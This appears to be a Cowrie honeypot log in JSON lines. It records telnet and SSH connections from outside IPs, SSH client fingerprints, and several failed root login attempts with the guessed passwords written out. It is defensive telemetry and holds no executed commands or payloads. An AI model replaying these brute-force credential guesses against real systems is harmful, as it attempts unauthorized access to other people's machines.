{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":33352,"dst_ip":"159.203.135.109","dst_port":23,"session":"472ed1b3777c","protocol":"telnet","message":"New connection: 135.148.14.151:33352 (159.203.135.109:23) [session: 472ed1b3777c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:38:05.532259Z"}
{"eventid":"cowrie.session.closed","duration":37.11129450798035,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:38:13.129344Z","src_ip":"135.148.14.151","session":"b9b53836687b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":47004,"dst_ip":"159.203.135.109","dst_port":23,"session":"746916c73bde","protocol":"telnet","message":"New connection: 135.148.14.151:47004 (159.203.135.109:23) [session: 746916c73bde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:38:30.604673Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":48438,"dst_ip":"159.203.135.109","dst_port":23,"session":"49ffd10445c4","protocol":"telnet","message":"New connection: 135.148.14.151:48438 (159.203.135.109:23) [session: 49ffd10445c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:38:32.846849Z"}
{"eventid":"cowrie.session.closed","duration":31.97231960296631,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:38:37.504384Z","src_ip":"135.148.14.151","session":"472ed1b3777c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.86744260787964,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:39:06.471988Z","src_ip":"135.148.14.151","session":"746916c73bde","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.88666653633118,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:39:10.733403Z","src_ip":"135.148.14.151","session":"49ffd10445c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":36980,"dst_ip":"159.203.135.109","dst_port":22,"session":"351db35dc00b","protocol":"ssh","message":"New connection: 103.149.170.125:36980 (159.203.135.109:22) [session: 351db35dc00b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:39:11.299214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:39:11.307168Z","src_ip":"103.149.170.125","session":"351db35dc00b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:39:11.570881Z","src_ip":"103.149.170.125","session":"351db35dc00b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"7777777z","message":"login attempt [root/7777777z] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:39:12.341592Z","src_ip":"103.149.170.125","session":"351db35dc00b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:39:13.596477Z","src_ip":"103.149.170.125","session":"351db35dc00b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":53854,"dst_ip":"10.17.0.5","dst_port":22,"session":"64b114e1f232","protocol":"ssh","message":"New connection: 193.37.70.224:53854 (10.17.0.5:22) [session: 64b114e1f232]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:39:38.252326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:39:38.261465Z","src_ip":"193.37.70.224","session":"64b114e1f232","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:39:38.350535Z","src_ip":"193.37.70.224","session":"64b114e1f232","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"23021991","message":"login attempt [root/23021991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:39:38.618477Z","src_ip":"193.37.70.224","session":"64b114e1f232","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:39:39.711125Z","src_ip":"193.37.70.224","session":"64b114e1f232","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":46224,"dst_ip":"10.17.0.5","dst_port":22,"session":"be30befbb116","protocol":"ssh","message":"New connection: 103.27.238.114:46224 (10.17.0.5:22) [session: be30befbb116]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:39:53.794534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:39:53.799207Z","src_ip":"103.27.238.114","session":"be30befbb116","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:39:54.066771Z","src_ip":"103.27.238.114","session":"be30befbb116","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ujkjdf","message":"login attempt [root/ujkjdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:39:54.871574Z","src_ip":"103.27.238.114","session":"be30befbb116","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:39:56.143116Z","src_ip":"103.27.238.114","session":"be30befbb116","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":59498,"dst_ip":"159.203.135.109","dst_port":23,"session":"48b1e51f5e57","protocol":"telnet","message":"New connection: 135.148.14.151:59498 (159.203.135.109:23) [session: 48b1e51f5e57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:39:58.423812Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":40602,"dst_ip":"159.203.135.109","dst_port":22,"session":"59a508a762a1","protocol":"ssh","message":"New connection: 103.82.132.16:40602 (159.203.135.109:22) [session: 59a508a762a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:40:04.159805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:40:04.167970Z","src_ip":"103.82.132.16","session":"59a508a762a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:40:04.424923Z","src_ip":"103.82.132.16","session":"59a508a762a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"25051988","message":"login attempt [root/25051988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:40:05.232324Z","src_ip":"103.82.132.16","session":"59a508a762a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:40:06.490519Z","src_ip":"103.82.132.16","session":"59a508a762a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":42698,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4d45cffe4ae","protocol":"telnet","message":"New connection: 135.148.14.151:42698 (159.203.135.109:23) [session: e4d45cffe4ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:40:25.522533Z"}
{"eventid":"cowrie.session.closed","duration":38.11573243141174,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:40:36.539446Z","src_ip":"135.148.14.151","session":"48b1e51f5e57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":51620,"dst_ip":"159.203.135.109","dst_port":22,"session":"917d6e01a3f4","protocol":"ssh","message":"New connection: 62.133.62.83:51620 (159.203.135.109:22) [session: 917d6e01a3f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:40:54.435840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:40:54.441593Z","src_ip":"62.133.62.83","session":"917d6e01a3f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:40:54.528020Z","src_ip":"62.133.62.83","session":"917d6e01a3f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"supreme","message":"login attempt [root/supreme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:40:54.769140Z","src_ip":"62.133.62.83","session":"917d6e01a3f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:40:55.851986Z","src_ip":"62.133.62.83","session":"917d6e01a3f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.740530252456665,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:41:00.262944Z","src_ip":"135.148.14.151","session":"e4d45cffe4ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":51680,"dst_ip":"10.17.0.5","dst_port":22,"session":"37a91f4c2ee3","protocol":"ssh","message":"New connection: 103.149.28.157:51680 (10.17.0.5:22) [session: 37a91f4c2ee3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:41:07.285331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:41:07.295768Z","src_ip":"103.149.28.157","session":"37a91f4c2ee3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:41:07.545380Z","src_ip":"103.149.28.157","session":"37a91f4c2ee3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"area51","message":"login attempt [root/area51] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:41:08.304221Z","src_ip":"103.149.28.157","session":"37a91f4c2ee3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:41:09.555859Z","src_ip":"103.149.28.157","session":"37a91f4c2ee3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":43908,"dst_ip":"159.203.135.109","dst_port":23,"session":"f738f9cc8f7f","protocol":"telnet","message":"New connection: 135.148.14.151:43908 (159.203.135.109:23) [session: f738f9cc8f7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:41:24.906057Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":47528,"dst_ip":"10.17.0.5","dst_port":22,"session":"72b043d6d595","protocol":"ssh","message":"New connection: 62.133.63.178:47528 (10.17.0.5:22) [session: 72b043d6d595]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:41:42.080971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:41:42.085845Z","src_ip":"62.133.63.178","session":"72b043d6d595","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:41:42.209198Z","src_ip":"62.133.63.178","session":"72b043d6d595","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dima1987","message":"login attempt [root/dima1987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:41:42.567515Z","src_ip":"62.133.63.178","session":"72b043d6d595","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:41:43.690340Z","src_ip":"62.133.63.178","session":"72b043d6d595","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.53168201446533,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:42:00.437594Z","src_ip":"135.148.14.151","session":"f738f9cc8f7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":47938,"dst_ip":"159.203.135.109","dst_port":22,"session":"8972f57fa451","protocol":"ssh","message":"New connection: 89.223.69.22:47938 (159.203.135.109:22) [session: 8972f57fa451]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:42:38.509989Z"}
